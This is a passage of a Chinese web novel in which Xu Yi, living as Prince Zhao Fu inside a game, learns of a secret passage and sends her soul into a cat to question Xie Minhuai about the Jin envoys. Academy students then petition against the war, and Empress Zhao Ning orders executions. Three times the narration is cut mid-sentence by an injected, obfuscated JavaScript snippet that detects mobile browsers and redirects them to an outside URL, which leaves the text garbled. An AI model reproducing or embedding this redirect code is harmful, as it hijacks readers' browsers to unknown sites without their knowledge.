铜镜的背面有着古拙的图案,中心是一只昂着头的神鹿,四周围绕着燃烧的火焰花,十分灵动。 萧静之轻轻摩挲着铜镜的纹路道,“殿下真是有心了,这天元镜乃是库莫奚族宫廷中的旧物,早已遗失多年,不知落在何方了。” 许弋的手也托在镜子边,“听说大相国寺的主持酷爱收集天下的铜镜,我便差小桑去问了问,没想到正好有奚族的珍宝。” 小小的铜镜里,他们两个人的脸庞依偎在一起,很是亲昵,许弋微微叹了口气,“是本王做的还不够,连生辰这样的大日子也不能陪在你的身边。” 萧静之轻轻将许弋揽在怀中,将侧脸在许弋的额头上蹭了蹭,“殿下做得已经很好了,只是我总是忍不住想殿下,很想很想的那种。” “现在呢?我已经在你面前了,还在想我吗?”许弋仰起脑袋,看着萧静之道。 “嗯。还在想。无时无刻不在想。”萧静之微微低下头,在许弋的额头轻轻一吻,抓着她的手臂也有些微微颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冷香院中,枯枝败叶散落在地,满是破派萧瑟之气,两株枯梅立在左右,拧着枝干向天空伸出枯爪,几只寒鸦挺立其上,骨碌碌地转着眼睛打量着二人。 许弋手心出了薄汗,见寒鸦并不来追逐,这才心下稍安。 院中静寂无声,唯有二人的脚步声不停回响,萧静之一路带许弋穿过两道门扉,这才来到了内院的寝殿中。 进入殿内,暗色之中,所有的家具都笼罩着浓重的阴影,浮尘在惨白的月光中涌动,分外诡异。萧静之挥了挥袖子,拉着许弋左突右转,来到了一面大立柜前。 “吱扭”一声,他拉开大立柜的一道门,探进身子在其中摸索起来。 只听“咔哒”一声轻响,萧静之从大立柜前让开,一道暗门忽得打开了,露出黑漆漆的入口,仿若大张着口的野兽,要将人吞吃入骨。 萧静之两手扶着许弋的肩膀,郑重道:“殿下,樊将军说宫中是最安全的场所,但我萧静之却是不信的。” “倘若有一天……倘若有一天生死存亡之际,还望殿下记得这条密道,可以从此逃出生天。” 看着密道,许弋忍不住问道:“我知道你在宫中过得不容易,此前既然找到了密道,为何不逃?” 萧静之微微一笑:“若是我逃了,还能等到殿下吗?” 许弋心中一跳,她对萧静之并无深情,只是屡次为他的美色所倾倒,总是克制不住地去亲近他,她也并不相信萧静之对她便是死心塌地。 萧静之见许弋神色不明,暗自发苦道:“父王虽然对我不仁,我却不能对他不义,若是让陛下有了出兵北燕的借口,我便成了北燕的千古罪人了。” 许弋心下了然,“萧静之,你信不信我?只要有我在,大昭便不会对北燕发兵。” 萧静之轻轻在许弋拦在怀中,仿若捧着这时间最为珍贵的物品一般,他闭上眼睛,睫毛轻颤,“我信。” 许弋拍了拍他的背脊,“走吧,我们回仙阙宫吧。” 萧静之松开许弋,重新关上密道和柜门,二人携手往来路走去。 14. 初尝附魂术 次日午后,许弋从床上醒来,被窝依旧是温热的,但身侧的人却早已不在了。是了,大昭宫规,外眷在宫内的停留时间不能超过8个时辰。 许弋披上外袍,有女官来禀报,她才发现萧静之给她带了许多东西,杯盏、香炉、梅花糕……吃穿用度,不一而足,想必都是赵芙平日里在王府用惯了的。 许弋的手轻轻在镂空的香炉上划过,心下却忍不住叹气,她终究不是赵芙啊。许弋摆袖,去资善堂,监督赵元今日的课业。 日子就一天天过下去,昭文帝的身体时好时坏,她总是将许弋喊到她身边,陪她一同处理政务。 这么一来,许弋对大昭的国情日渐熟悉起来,对朝堂上分帮结派的势力也逐一明了,她在心中暗叹,赵凝虽喜怒无常了些,但处事决断不愧为一代女帝。 半个月后,谢珉怀、童贯等三十六人动身回京上,随行的还有阿骨打麾下国论勃极烈李善庆、西路军统使宁术割、左副元帅勃达,另薛氏父子等三十六人则被留在了会宁府中。 许弋提前收到密报,难免心中焦灼,她向谢珉怀求的是洞悉金国皇帝的狡诈和险恶,用以规劝赵凝莫要轻举妄动,他怎么反倒将金国的使者给带回来了。 但诸人回程路上甚少言语,暗影卫实在是探查不到更多细节了。 三日后,消息正式从驿站传回朝廷,满朝文武弹冠相庆,赵凝的气色都亮上了三分,她心满意足地连道了三个好,仿佛金国的使者正双手捧着燕元十六州送到她眼前。 许弋忧虑更深,文武百官怕是没有一个人知道,这是妥妥的引狼入室啊! 所幸,这期间俺,暗影卫在北边防线上送了盗马贼的消息给李汉雄,李汉雄智勇无双,连夜将一干人等一网打尽,不久后便官复原职。 同时,暗影卫借张延、韩季、方同休三方夺权之际,将郑山古这把利刃推给韩季,郑山古新封昭武校尉,也算是被再次复起了。 许弋总算松了口气,有这两位猛将在,樊不野重掌军权到底是有了希望。就算金国到时打过来,也有了与之相抗的力量。 十一月十五,夜,乌纯声来报,使团已正式抵京,入驻宣仁门外都驿亭。 许弋心中急不可耐,她恨不得插翅冲到谢珉怀面前,刨根问底问个清楚。萧静之此前领她走过的暗道从脑海中一闪而过。 许弋甩了甩脑袋,这不大行啊,路她虽然都记着,但大内守卫森严,殿前司禁军巡逻的时辰她不熟悉,把握不住的。 蓦地,许弋看着在地上挠着耳朵的乌纯声,奇思妙想道:“乌纯声,既然你可以附在狸花猫的身上,那我是不是也可以附?” 乌纯声喵呜一声,“赵芙!你又打什么鬼主意!你和耶鲁里签的是誓言契,你的魂魄是自由的!不像暗影卫,早就把魂魄卖给邪魔了。” 许弋心有戚戚,她的誓言是什么啊? 救命,她在游戏里还没解锁啊。不过反正她早已丢了性命,魂魄不魂魄的,她才不信呢,要是有魂魄的话她早就转世去了,还会被困在游戏里? 想到这里,许弋眯着眼睛看向乌纯声。 乌纯声察觉不妙,正要遁地逃走,却被许弋一把捉住搂在了怀里,“试一试嘛?试一试又不打紧,万一不行就再另说咯。” 乌纯声把爪子搭在许弋凑近的脸上,奋力地向后缩着脑袋,“赵芙!你正经一点!魂魄之事可不是开玩笑的。” 许弋嘿嘿一笑,握住了乌纯声的两只前爪,埋头是蹭他的肚子,抬头是蹭他的脸,乌纯声被惊得喵喵直叫。 “乌纯声,你要是不答应我,我资善堂也不去了,崇政殿也不去了,我就坐在这里,吸到你同意为止!”许弋抬起头,威胁着他说道。 乌纯声的身体僵直起来,把许弋的魂魄带出去一点,对他来说好像也不是难事,他只好妥协道,“那就试试吧,到时候要是你魂魄受损可不关我的事!” “那是自然,我自己做的选择,无论出了什么后果,我都一力承担。”许弋保证道。 乌纯声叹了口气道,“你把额头贴过来,不是,不是蹭我的脸!是贴在我的额头上,嗯,闭上眼睛,放空,什么都不要想。” 许弋贴着乌纯声柔软的前额,放松了所有的神经。 有那么一瞬间,在一片黑暗中,她仿佛看到一个身着洁白羽衣的倩影,周身却被绑着烧得赤红,冒着黑气的铁索。 恍惚之间,黑暗消失不见,等她再度睁开眼的时候,仙阙宫外的景象又出现在了她的面前,只不过视野极低,但夜色中的一切几乎都清晰可辨,原来,这就是小猫咪的视角吗? “走吧,我带你去找谢珉怀。明日有朝会,他今夜宿在上清宫中。”乌纯声跑动起来,许弋只觉眼前一片花乱。 “等等,我原来的身体呢?”许弋心念一动,扭头望身后一看。 “赵芙!”乌纯声喵呜一声,后爪一个打滑差点从宫墙上栽下来。 “哐啷”一声,乌黑的瓦片落在地上裂成两半,乌纯声终于站在宫墙上,稳住了身型。 他对着仙阙宫转过身,没好气地道,“你的身体回殿内睡觉去了,怎么?要不要我叫她出来接着到廊下吹冷风啊?” “不用不用不用。”许弋连忙摇起头来。 “赵芙!”小猫乌纯声甩了甩脑袋,他只带了她一点点的魂魄出来,没想到她的魂魄控力如此之强,不愧是暗影之主。 他只好苦口婆心地道,“赵芙,你不要乱想,也不要乱动,跟着我走就好了。” “跟着你,你在哪里啊?”许弋茫然地道。 乌纯声这才反应过来,他往常习惯于自我保护,连附身都是隐于暗处的。他在心中默念神诀,很快,他的魂魄就外化出来了。 眨眼间,一条蜿蜒的小路出现在了许弋的眼前,小路的尽头站着一位身着玄衣的男子。 夜色中,他的长袍铺展开来,上面有两只金线描成的巨鹰,正伸展翅膀,托着一轮红日升徐徐升空,图像古拙而富有深意。 长袍肩部和袖子处缝着鹰羽,毛茸茸的很是可爱,领后垂着三根长长的飘带,无风自动。他的长发间或编成小辫,其中缀满色彩缤纷的羽毛。 乌纯声转过身来,向许弋伸出了修长的手,他的脸颊两侧被精美的金色云纹围绕,恍若古老的神明。 许弋为眼前的人所惊艳,原来乌纯声的魂魄是如此的模样吗?这与在砚山洛水的他简直大不相同。 “还在等什么?不是着急吗?”乌纯声问道。 看呆了的许弋连忙在手递到了乌纯声的手中,下一刻,只觉天地倾倒,风声呼啸,狸花猫在宫墙之上疾行,几个跃步便出了宫城。 不多时,上清宫,清虚阁外,昏黄的烛光从阁楼上透出来,乌纯声终于停下了脚步,天旋地转般的感受浅浅散去。 许弋这才想起来,“遭了,我怎么去见谢大人啊,如果用小猫的样子同他开口说话,他一定会以为我是妖怪吧!” 乌纯声嗤笑一声,“威胁我的时候你没想到吗?” “乌纯声!你都把我带到这里了,你一定有办法的对不对?”许弋喵呜喵呜地叫起来,仿若小猫在撒娇。 “停停停!别乱叫。”乌纯声按了按眉心。 说罢,他沿着廊柱窜上了阁楼。阁楼之上,轻掩的窗扉露出一跳缝隙,炭烤的热气从缝隙中钻出,暖得许弋眯了眯眼晴。 阁楼小,碳火旺,已经到了需要开窗散热的程度。 透过缝隙,许弋看见,有个胡子啦喳,面色憔悴的人影伏在案前,那正是谢珉怀。 纸张歪斜地在他面前铺开,他写上几笔,便叹息起来。只见他顿住笔,将宣纸乱团一气,朝着身后丢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13839437|146155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去。 许弋伸长脖子一看,地下已经积了不少纸团。 “凝神,想象你自己此刻站在窗外。”乌纯神暗中催动口诀,绕到赵芙身后,在她肩上轻轻一拍。 许弋连忙回过神来。蓦地,她的身影出现在昏黄的窗纸上,伴着碳火隐隐浮动。 “谢珉怀……”许弋开口道,声音一如往昔。 “殿下!”谢珉怀惊叫一声,抬首便看到了许弋在窗纸上的剪影,“殿下,外面冷极了,快些进来说话。” 许弋微微摇头,“无妨,我是从宫中溜出来的,只为问你几句话。” 谢珉怀低着头看向他在案上的的笔墨,他正在给陛下写奏章,写得他抓耳挠腮的,很多话,或许由殿下来说会好。 “谢珉怀,你告诉我,你怎么把金国的使者带回来了?此行到底是怎么回事?”许弋压住内心的火气问道。 “殿下,此行确实超出了微臣的预期。”谢珉怀一边说一边叹气,“我等到达会宁府后,阿骨打还在外征战,我等首先面见的是金国的都元帅完颜宗翰,微臣很快就向他说明了来意,他只是要我们安心等待。” “阿骨打回来后,童贯奉上了陛下的诏书,谁知他突然暴怒,当场抽了童贯三鞭,说我大昭看他不起,强烈要求在有国书与誓书的前提下方能进行洽谈。” “但隔了三日,阿骨打又仿若无事发生般地设宴款待起我们来,邀我们一同参与夜猎。在夜猎时,童贯从马背上跌下摔伤了脚,此后便一直在帐中修养。” “反倒是薛肇因弯弓射下一只大雁,很受完颜宗翰的赏识。薛氏父子原本就酷爱骑射,此行更是参与了女真一族的围猎、摔跤、野祭等诸多活动,很快与他们打成一团。” “如此半月后,阿骨打透露出了与我大昭合作的意愿,期间完颜宗翰频繁进出他的大帐,微臣推测是完颜宗翰在背后助力此事。” “此后,我每日便与阿骨打派出的代表李善庆据理力争,商议合作细节。可到了关键的问题上,阿骨打并不听我的建议,反倒转头去问薛肇。” “可叹,我虽每次都提前对这位新晋的武状元多番嘱托,但一方面,薛肇与女真一族称兄道弟起来,几乎卸下了对他们的防备。另一方面,阿骨打也着实狡诈多智,我只能眼看着薛肇掉入他的陷阱中。” “殿下,此行颇多转折,阿骨打却是对我大昭垂涎欲滴,但完颜宗翰此人眼光老道,确实看到了与我大昭合作的前景。” “怕只怕阿骨打到时杀红了眼,不听完颜宗翰的话。很多话不能当着使者的面在朝堂上说,还望殿下多多劝解陛下,与金国合作还是太危险了。” “好。”许弋微微点头,跟着乌纯声从阁楼上跃了下去。 “殿下……”谢珉怀一推开窗,只见一个黑影从半空划过,窗外哪有逍遥王的身影呢。他的殿下会怪罪他办事不力吗?可明明他已经使出了浑身所有的力气了。 乌纯声几个飞跃出了上清宫,踏着瓦片,向宫城急奔而去。 许弋心中惶惶,“我阿姐对收复故土着了魔,一心想要燕云十六州,好不容易才改了心意。这下金国的使者来了,我猜阿姐一定不肯罢休了。” 乌纯声嘴角一提,“老师没做成的事,学生来做又如何?” 许弋蹙眉,“什么意思?” “当年北燕兵临城下,昭熙帝在李炎与王黼的唆使下欲弃城而逃,三百太学生在宫城前伏地请命,以死相谏,昭熙帝这才复起老将李纲,打退了契丹兵马。” “我大昭的皇帝谁都不怕,怕的便是学生们毁他的清誉。谢珉怀在担任太女太傅前,曾在太学执教三年,太学里现在还有他不少学生……” 许弋沉默了,她记得北宋末年太学生起义的事,只不过,他们最后的下场都很凄惨,一国之主又怎么会甘愿忍受他人的胁迫呢。 15. 太学生请愿! 次日朝堂,赵凝端坐在高堂,文武百官齐齐立在殿上,一片肃穆庄重。 谢珉怀领着金国使者宁术割,缓步上了大殿。 阿骨打派来金国的三位使者中,李善庆奸滑狡黠,宁术割勇武机敏,勃达暴躁易怒,他本以为今日面圣的会是经常与他作对的李善庆,没想到对方却推了宁术割来,这倒是出乎他的意料了。 此时此刻,他心跳如鼓,大昭的命运究竟如何,过了今日便能知道。 “陛下万安,金太祖阿骨打吩咐我向您问好。”宁术割以手按膝,单膝跪在了地上。 “使者快快请起。”赵凝拂袖道,“来人,赐座!” 两个小黄门端着一把太师椅麻溜地到了大殿之上,放在了宁术割的身后。 那宁术割也不谦让,竟大剌剌地直接坐了下去,一副理所应当的做派。 赵凝心中有些不悦,面上却一点也不显。 “燕云十六州历来隶属于我大昭,却被北燕以卑劣的手段抢占了近百年,此次还望金国能与我大昭修同心之好,图问罪之师。” “陛下,太祖以为,帮助燕云十六州回归大昭是天经地义的事。” “但出于合作精神,大昭需与我金国同时夹击燕京,此项条约才算奏效。此外,攻下燕京者,方有资格获得土地。” 赵凝心里转了个弯,“诚意不渝,义当如约。” “十六州的西京可以由金国进攻,但距离北线较近的燕京必须由我大昭进攻。且若是没有经过我大昭的同意,金国军队不可擅自过榆山关。” 宁术割粗粗的眉毛皱在了一起,果然被李善庆说中了,大昭的皇帝真是不好糊弄,不过等到打起仗来的时候,场上的时局瞬息万变,到时候就轮不到她做主了。 “陛下的提议十分周全,想必太祖他也定然会同意的。” 赵凝微微颔首,“从属于西京的云州、应州、武州等地也曾是大昭国土,还望太祖能够高抬贵手,助我旧地回朝。” 那些城池距离金国太过遥远,拿在手里也是累赘。 宁术割当场回禀道,“太祖此前便曾与贵国的使者薛肇说过,我金国前往西京只是为了捉拿北燕的皇帝耶律歌舒,对那里的土地其实没有太大的兴趣,送给大昭也是可以的。” 赵凝心中一喜,但她还是留了点心眼,“那还望太祖将此项条约写在国书之中,盖上金国的国印。” 宁术割站起身来,将右手往左胸前一放,微微鞠了个躬,“微臣定将如实传达。” 此时,左相胡秉芮上前一步道,“在更早些的时候,平州、兴州、滦州也是为契丹一族霸占去的,敢问使者,此三州……” 金国此时已经占了宁州,在城内屯兵驻防,宁术割打断胡秉芮的话,抢出一步回答。 “万万不可,此三州乃是我金国攻克北燕的战略重地,倘若送给大昭,我们的合作也就不用进行了。再者,陛下与我等讨论的一直是燕云十六州及相关属地,此三州也不在燕云之中。” 赵凝见宁术割的态度如此坚决,只好妥协放弃。 “另外,太祖还有一事相求,金国与北燕虽仇怨颇深,但毕竟两国接壤,女真与契丹又同为鲜卑宇文部的后人,实际出自同源。” “一来,我金国有许多子民辗转流浪至燕云地区定居。二来,攻打北燕时我族有不少叛将逃往了燕云十六州,到时还请大昭配合遣返。” 赵凝欣然同意:“女真一族的子民也好,罪臣也罢,理当回归故土,大昭会尽全力配合的。” 在洽谈的全过程中,向来奸佞的童贯与敢于直谏的谢珉怀达到了一种诡异的默契,他二人始终沉默着,一言不发。 许弋紧紧地捏着手中的朝笏,游戏虽然浓缩了历史的进程,但好像正在朝相似的结局走去。 两国合作的细节商议得差不多后,昭文帝赐下冬宴,以最高的规格款待使臣,另外她还赐下了三十万两白银、三百斤茶叶、二十五匹白绢等财物……这样的待遇堪比亲王。 除此之外,昭文帝还特地命礼部侍郎安排人手,陪宁术割等三人畅游京师。 金国的使者退下后,童贯终于走到了殿前,他庄重地跪下道,“陛下,臣此次北行,将女真一族的暴行都看在了眼里。” “金国但凡攻下一城势必屠城,将城中所有物资、财宝、甚至是人口,尽数掠夺而尽才肯罢休。” “阿骨打残暴嗜血,野心勃勃,在攻下北燕后定会撕破合约攻打我大昭,还望陛下三思啊!” 赵凝看着童贯,嗤笑道:“枢密使当年应对西楚大军也是有勇有谋,如今却是失了气魄吗?枢密使若是怕死,北边的战事朕不派你去便是了。” 童贯的脑袋在大殿上磕得邦邦响,“陛下三思!微臣不是这个意思!” “来人,枢密使累了,带他下去休息。”赵凝冷着脸道。 童贯被带下殿后,赵凝又命胡秉芮加收酒税、宅地税等各项税款。 许弋一字字听在耳中,太阳穴旁边的青筋突突直跳,乌纯声的话在她耳边响起,她是否要将更多无辜的人牵扯进来,阻止此事的发生? *** 三日后,宁术割、李善庆、勃达正在老将侯益的陪同下,于西郊参与游猎。此时的宫城城门前却掀起了血雨腥风。 “咚咚咚”“咚咚咚”“咚咚咚”急促的鼓声从城门两侧奏响,一百八十五年名太学生伏在宣德门前,手捧血书,大声疾呼。 “徭役剥血汗,战事堆白骨,和平难得有,北燕不可攻!恳请陛下收回成命!” 崇政殿内,赵凝头痛欲裂,登闻鼓强有力的鼓声透过三十二道宫门传来,仿若敲打在她的脑门上,要将她的脑浆敲打出来。 “大学士,你去,帮朕把这帮太学生劝回去,起码让他们别打鼓了。”赵凝按着左侧的太阳穴道。 “是。”翰林学士叶静能还兼任知制诰,原本她今日是将写好的国书与誓书来交给昭文帝过目的,没想到却领了这样一个任务。 只不过,没多久,曾在朝堂上舌战群儒的大学士便铩羽而归,昭文帝又派了谏议大夫韦进安、天章阁待制孙白舜相继前往,可都见效甚微。 许弋听到消息赶过去的时候,碰巧赶上赵凝正在发怒,只见她一把掀翻了身前的长案,“叮铃咣啷”得一阵脆响,杯盏变成碎片,玉石滚了满地,文书散落在酒渍之中,染得边角殷红。 宫人们无声地行走着,弯腰拾掇起来,不敢发出一点声响。 “阿姐,怎么生这么大的气。”许弋连忙问道。 “芙儿,你听到鼓声了没?那帮太学生现正在宫门外请愿,他们这是要置朕于何地?朕是什么杀了千万人的暴君吗?还是什么横征暴敛的昏君?” “朕只不过是要收复故土而已啊,等金国的使臣们回来看到这幅场景,朕又要如何交代?”赵凝摇着头,扶额跌坐下来。 许弋走到赵凝的身侧,轻按她的太阳穴,“阿姐是一国之主,自是说一不二,又何须给金太祖手底下的喽啰做什么交代了。” “太学生们读了那么多书,也不是无理取闹之人,他们以后入朝为了官,也是要为阿姐做事的,阿姐要不要听听,他们到底想说什么?” 赵凝斜了许弋一眼,惹得许弋手一抖,腕上的力气都软了下去。 不过下一刻,赵凝便将她的手从额头边捉下来道:“那好罢,既然芙儿要我去听,朕就勉强去听一听罢。” 许弋心中一喜,轻轻搂着赵凝道,“阿姐哪里是什么暴君和昏君了,我看阿姐啊,是天底下最圣明的仁君了。” 赵凝莞尔,“怎么还拍起阿姐的马屁来了。” *** 片刻后,宣德门城楼上,赵凝扶栏下望,看着黑压压的一片人头,神色不明。 许弋站在她后侧的阴影中,心中疑惑非常,她昨夜刚刚派暗影卫前往太学散布消息,这帮太学生来得也太快了些。 “你们在这里跪了这么许久,是在胁迫朕吗?”赵凝冷着脸,不怒自威。 “启禀陛下,学生们不敢,学生们只是行忠义之事罢了。”跪在前排的一位学生站起身来,恭恭敬敬地说道。 “哼,你是在骂朕不忠不义吗?你叫什么名字?如此猖狂,不怕朕砍了你的脑袋吗?”赵凝怒问道。 “陛下!学生谭宜。学生今日敢来到这里,便已将生死置之度外了,学生的这颗脑袋,陛下要是想要,就拿去好了!” “只是学生敢问,陛下是否知道,在离京师三百里外的太康县,百姓们正在易子而食啊!白花花的人肉公然在市集上甩卖,都是为了战事而加重赋税徭役的结果。” “现下,商户们破产倒闭,农民们变卖土地,战事未起,我大昭已然饿殍遍地,流民四起。” “陛下,您睁开眼睛看看吧!以我大昭的国力,根本就打不了仗!” “放肆!”赵凝挥臂猛拍栏木,“我大昭国力强盛,此事朕从未听闻。添加的赋税都经过三司精密的计算,万万不至于对百姓有如此影响。” “这必定是太康县的县令借机中饱私囊,朕定当重重罚他。” “你们是朕的子民,燕云的百姓也是朕的子民,朕又岂能放任他们不管?” “陛下!燕云的百姓北燕的统治下早已在北燕的统治下生活了百年,他们与契丹族人通婚交友,水乳交融,自成一家。” “陛下确定,在他们眼里,大昭还是他们的故土吗?陛下还是他们的王吗?” 谭宜身侧,另一位太学生站起来质问道。 许弋心中狂跳,她让暗影卫散播的消息里,即没有与太康有关的,也没有与燕云子民有关的。 有人和她想到一处去了,并且掌握的情报比她多,实施的速度比她快,是谁?弄得如此决绝?赵凝吃软不吃硬,这下要糟糕了…… 果然,赵凝紧紧攥着拳头,白着一张脸,怒喝道,“来人,把这两个为首的直接推到菜市口,斩了!其余人等一律押至大理寺,听候发落!” “陛下息怒!”许弋一惊,直挺挺地跪了下来,城楼上的一甘人等,跟着齐齐跪下,磕头的,求饶的,不一而足。 “陛下!太学生们是愤世嫉俗了些,言语不当冲撞了陛下,但他们心系大昭,情急之下也是情有可原啊!”叶静能求情道。 “陛下开恩啊!太学生们初出茅庐,胡言乱语了这一番,还请陛下大人有大量,切勿与学生们计较啊。” 孙白舜也讨饶道,他亦是出身太学,这底下跪着的学生都是他的后辈,他岂能眼看着他们白白丧命。 “哼。都反了吗?还当朕是大昭的女帝吗?”赵凝阴测测地问道。 “陛下明鉴,微臣不敢!”众人齐声道。 “我看你们也没什么不敢的。”赵凝看向守在城楼上的赵简,朗声道,“都指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“诶!小果子!”许弋还要再说,却见那位小黄门紧紧追着诸位夫子的步伐,进入殿中去了。 “殿下!您再上前,休要怪末将不客气了。”一位禁卫军严肃道。 “好好好,我退后,我就在这里等着,行了吧。”许弋松开按在长矛上的手,往后推了三大步。 她忍不住焦灼地踱起步来,是她做错了吗?是她不该劝赵凝亲自去见太学生的吗? 可是太学生的请愿不就是为了说给皇帝听的吗?如果皇帝压根儿就没听到,那还请什么愿? 只是……赵凝一向是如此残忍的吗? 这段日子,许弋与她朝夕相处,只觉得她待自己甚是柔情。赵凝只是脾气差了些,而这些脾气也都是因病情不稳定的缘故。 她从未见过赵凝下令杀人,今日听到命令时,她竟被吓得一句话都说不出来了。 赵凝是否向来心狠手辣,所谓的温情只是她给的偏爱?还是她原本贤明大度,是这些学生触犯到了她的逆鳞?许弋一点也想不明白。 天光将尽时,夫子们总算从大殿中出来了,只是他们一个个垂头丧气,宛若丧家之犬,看得许弋也慌乱起来。 谢珉怀从许弋身前不远处走过,她这么大一个人站在那里,他竟是视若无睹,看也没看一眼。 许弋看得心头起火,这个谢珉怀,究竟是怎么回事。 “谢大人!”她喊着他的名字,追了上去。 谢珉怀对着周围的夫子说了几句话,便停住了脚步,只不过他只是站在原地,却并未转身。 许弋在他身后停了片刻,拉着他的袖子将他转了过来,气呼呼地道:“谢大人刚刚没有看见我么?!” 谢珉怀从许弋的手中挣开袖子,退了一步,偏过脸道:“逍遥王不在资善堂教导太女,在崇政殿前做什么?” 许弋眉头蹙起,“谢大人!你不要转移话题,被押进大理寺的太学生们怎么样了?陛下同意将他们放出来吗?” “逍遥王……你还有脸问……” 谢珉怀的身体微微颤抖着,自从叶静能将事情告诉他后,他又是痛心,又是自责,又是悔恨,一时之间,他再也不想见到这位逍遥王,没想到她还偏偏缠了上来。 谢珉怀抬起头,眼神中满是凄苦。 蓦地,他按住许弋的肩头,一把将她推倒了墙上,“逍遥王!你好狠的心!我没做成的事,你就让我的学生去做么?” “唔。”许弋忍着肩胛骨的一阵剧痛,挣扎道:“谢太傅……不是……” “该偿命的是我,是我啊!你把我的人头拿去,把我学生的命还回来,还回来啊!”谢珉怀的双手死死掐住许弋的肩膀,害得她几乎无法动弹。 “来人啊!谢太傅发起疯来,要谋害逍遥王啊!”一旁的宫女见状呼喝起来,殿前司的禁军们匆匆跑过来,扭着谢珉怀向外走去。 许弋揉着肩膀喘着气,对过来扶她的宫女道:“你快去追,快去和都指挥使说,谢太傅只是一时情急和本王起了争执,没有伤到本王,让都指挥使千万别向他问罪。” “诺。”宫女听罢,撒丫子跑了过去。 “还有,此事绝对不能传到陛下耳朵里,你们听见了没有。”许弋站稳身体,对围过来的宫女与小黄门们说道。 “诺。”小黄门们领了命,兀自散了开去。 16. 生气 傍晚时分,许弋刚从资善堂中走出,便看见小果子迎面奔了过来。 “怎么,是阿姐同意见我了么?”许弋连忙问道。 “不是的,殿下。”小果子咽了咽口水,艰难说道,“陛下口谕,命殿下这几日先行回府休息。” “什么?”许弋还没反应过来,只听“哐啷”一声,在她身后,赵元呆立在原地,手中的暖炉已然滚到了一边,落下一地碳灰。 原来许弋将手炉忘在殿中了,赵元是专门来给她送手炉的。 “姨姨不要走!”赵元呆了两秒,冲过来一把抱住许弋的腿,将脑袋埋进了她的袍子里。 小果子猫了猫腰,“殿下且再多陪陪太女吧,奴才先去仙阙宫响一声,让宫人们帮殿下将回府的物件儿收拾收拾。” 许弋点点头,她半蹲下来,将赵元搂在怀里,轻轻拍着她的后背,“没事的,元儿,姨姨只是回家一段时间,过不了几天就会来看你的。” “姨姨你骗人!从前阿爹走的时候说以后还会来和元儿一起放风筝,可元儿都扎了十几只风筝了,也没有等到阿爹回来。” “谢太傅走的时候,说等他回朝了要来检查元儿的课业,可是他都进宫好几次了,却看都不来看元儿。” “他们都是大骗子!现在连姨姨也要骗我了吗?” 在游戏的设定里,赵元的生父尹思痴迷成仙之道,早年间从宫城上跃下,消失于市井之中,声不见人,死不见尸,至今杳无音讯。 而谢珉怀,他现在不肯来看赵元……是因为怕见到自己么? 许弋默默叹了口气,摸着赵元软乎乎的小脸道,“姨姨不会骗你的,过不了多久就是冬至了,到时候姨姨一定入宫来看你,好不好?” 赵元伸出她的小拇指,“那姨姨要和我拉勾,不许耍赖。” “好,姨姨保证不骗元儿。”许弋勾着元儿的小拇指说道。 *** 御街之上,皇家马车吱扭扭地压着地砖滚动起来。 许弋轻轻撩开帘子,只见长长的街道上,唯有三四家商铺亮着灯,店铺前也是门可罗雀,并未有多少行人驻足。 快冬至了,明明应当是生意红火的时候,却充满一股子萧瑟凄凉的意味,看来那位太学生所说的,并非虚言。 逍遥王府,许弋一下马车,便看到府中的一甘女官、禁卫齐齐在门口候着,只是人群中却没有樊不野和萧静之的影子。 樊不野那个没良心的也就算了,怎么萧静之也没有出来? 小桑招来几个家丁,让他们帮着将殿下的东西从马车上搬下来。 许弋边往里走边问道:“我不在的这段时间里,府里可还好?樊将军和萧公子都在忙什么?” “樊将军在半月前又跑京郊大营练兵去了。萧公子天天都在花圃中鼓捣,明明现下已然入了冬,却被他硬是整理出一片姹紫嫣红来,当真是好手艺呢。” “不过,就是萧公子自前天夜里起便染了风寒,没有再出嘉文殿了。” “染了风寒,严重吗?请大夫看过了没有?”许弋追问道。 “殿下放心,已经请过大夫看诊了,药也开了,说是多歇几天便能好呢。”小桑安慰道。 许弋点点头,心下稍安。没走几步,一股沁人心脾的清香传来。 过了二宫门,只见两株苍老的梅树分别立在两边,上面缀着繁星般的淡黄色梅花。蝠池前更是花团锦簇,牡丹、芍药、荼蘼花……大朵大朵地簇拥在一起开放着,清丽而不艳俗。 “小桑,你先带人去银安殿帮我收拾,我去看看萧公子。”眼前繁花似锦,许弋却莫名地不安,她折了一只荼蘼花,在手中一转,向王府西侧走去。 嘉文殿内,灯火昏黄,侍女阿俏正守在暖炉边,迷迷糊糊地打瞌睡。许弋见她抬起头来,对她做了个嘘的动作,轻手轻脚地走进了内寝。 走过竹案、书架、屏风、梳妆镜……许弋一路来到垂着轻纱的床榻前,熟悉的草药味萦绕在她的鼻尖,这是萧静之的味道。 许弋抬手撩开轻纱,那个熟悉的人影正侧身躺在塌上,黑发如瀑,白玉般的面庞从中露出来,好像河流中一尾小舟。 许弋在塌边坐下来,将荼蘼花放在了他的发间。他的鬓发略微有些混乱,有那么几缕乖张地冒出头来,许弋顺便抬手帮帮他理了理。 倏忽间,萧静之张开眼,捉住了她的手,“殿下,你回来了。” 他这么一动,荼蘼花从他的发间滚落,落到了他的唇边,他眼神潋潋如水波,面颊绯红如云霞,整个人都娇艳欲滴。 